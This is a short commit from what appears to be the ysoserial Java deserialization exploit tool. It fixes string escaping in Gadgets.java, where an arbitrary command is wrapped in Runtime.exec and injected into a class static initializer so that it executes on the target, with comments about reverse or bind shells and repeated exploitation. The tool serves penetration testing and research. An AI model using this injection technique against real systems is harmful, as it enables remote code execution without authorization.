Resolve escape error (#151)

Resolve escape error:
Caused by: compile error: ) is missing

src/main/java/ysoserial/payloads/util/Gadgets.java

@@ -115,7 +115,7 @@ public class Gadgets {
         // run command in static initializer
         // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
         String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
-            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
+            command.replace("\\", "\\\\").replace("\"", "\\\"") +
             "\");";
         clazz.makeClassInitializer().insertAfter(cmd);
         // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)